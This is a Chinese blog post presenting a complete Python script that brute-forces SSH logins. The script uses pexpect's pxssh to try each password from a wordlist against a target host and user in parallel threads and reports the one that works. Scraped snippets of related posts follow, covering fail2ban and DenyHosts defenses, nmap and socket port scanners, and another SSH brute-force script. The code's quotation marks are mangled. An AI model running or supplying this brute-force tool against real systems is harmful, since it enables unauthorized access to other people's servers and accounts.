Python3小工具——暴力破解ssh

一、工具说明

利用pxssh库进行暴力破解ssh

二、演示一下的利用效果

三、代码+注释

from pexpect import pxssh
import argparse
import threading

maxConnetions = 5
connect_lock = threading.BoundedSemaphore(value=maxConnetions)

def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        # 登录ssh测试
        s.login(host, user, password)
        print("[+] Password Found: {}".format(password))
    except pxssh.ExceptionPxssh as e:
        pass

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(‘-H‘, dest=‘Host‘, help="like: 192.168.3.1")
    parser.add_argument(‘-F‘, dest=‘passwdFile‘, help="like: /root/pass.txt")
    parser.add_argument(‘-u‘, dest=‘user‘)
    args = parser.parse_args()
    host = args.Host
    passwdFile = args.passwdFile
    user = args.user

    with open(passwdFile, ‘r‘) as f:
        for line in f.readlines():
            with connect_lock:
                password = line.strip(‘\n‘)
                print("[-] Testing: {}".format(password))
                # 起线程每个密码尝试登录一次
                t = threading.Thread(target=connect, args=(host, user, password))
                t.start()

if __name__ == ‘__main__‘:
    main()
时间: 2024-07-31 14:33:37

Python3小工具——暴力破解ssh的相关文章

fail2ban-防止用户暴力破解ssh工具

关于fail2ban: fail2ban可以监视你的系统日志,然后匹配日志的错误信息(正则式匹配)执行相应的屏蔽动作(一般情况下是防火墙),而且可以发送e-mail通知系统管理员,很好.很实用.很强大!  简单来说其功能就是防止暴力破解.工作的原理是通过分析一定时间内的相关服务日志,将满足动作的相关IP利用iptables加入到dorp列表一定时间. 实战场景: 最近公网网站一直被别人暴力破解sshd服务密码.虽然没有成功,但会导致系统负载很高,原因是在暴力破解的时候,系统会不断地认证用户,从而

python3 小工具

扫描IP的端口是否开放:Porttest.py 1 # -*- coding: utf-8 -*- 2 import sys 3 import os 4 import socket 5 6 #扫描 7 def scanport(ip,port): 8 try: 9 socket.setdefaulttimeout(2) 10 s=socket.socket() 11 s.connect((ip,port)) 12 portrecv=s.recv(1024) 13 return portrecv

Linux 利用hosts.deny 防止暴力破解ssh(转)

一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7系统).Development Tools. 主机ip:192.168.30.64 (服务器端).192.168.30.64(客户端+ 暴力破解[Hydra]) 在30.63上进行暴力破解30.64 2.2 客户端上安装 破解程序 hydra.关于该程序的详情请去官网. 安装该软件的依赖环境: [[

Linux 利用hosts.deny 防止暴力破解ssh

一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7系统).Development Tools. 主机ip:192.168.30.64 (服务器端).192.168.30.64(客户端+ 暴力破解[Hydra]) 在30.63上进行暴力破解30.64 2.2 客户端上安装 破解程序 hydra.关于该程序的详情请去官网. 安装该软件的依赖环境: [[

防止暴力破解ssh远程连接

一.系统:CentOS 6.5 64位 二.方法:读取/var/log/secure,查找关键字 Failed,例如(注:文中的IP地址特意做了删减): Sep 17 09:08:09 localhost sshd[29087]: Failed password for root from 13.7.3.6 port 44367 ssh2 Sep 17 09:08:20 localhost sshd[29087]: Failed password for root from 13.7.3.6 p

Python3小工具——结合nmap扫描

一.工具说明 调用nmap库实现端口扫描 二.演示一下的利用效果 三.代码+注释 import nmap import argparse def nmapScan(Host, Port):     # 调用nmap的PortScanner类     nm = nmap.PortScanner()     # 使用scan方法进行扫描     results = nm.scan(Host, str(Port))     state = results['scan'][Host]['tcp'][Po

使用fail2ban禁止暴力破解SSH

有时候很懒,又看不得别人一直在尝试SSH端口. 尝试用了下fail2ban这个软件,简单粗暴正是我们想要的效果. yum install fail2ban -y //epel cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local vim /etc/fail2ban/jail.local # "ignoreip" can be an IP address, a CIDR mask or a DNS host. Fail2ban will

利用python暴力破解ssh

1 # -*- coding:utf-8 -*- 2 #python 2.7 3 4 import optparse,sys,threading 5 import pexpect 6 7 PROMPT = ['#','>','/$'] 8 def ssh(host,user,password): 9 child = pexpect.spawn('ssh %[email protected]%s' % (user,host)) 10 ret = child.expect(['(?i)are you

centos 7 DenyHosts 安装 防暴力破解ssh登陆

为了减少软件扫描ssh登陆 还是用这个比较好点  默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python program that automatically blocks ssh attacks by adding entries to /etc/hosts.deny. DenyHosts will also inform Linux administrators about offending hosts,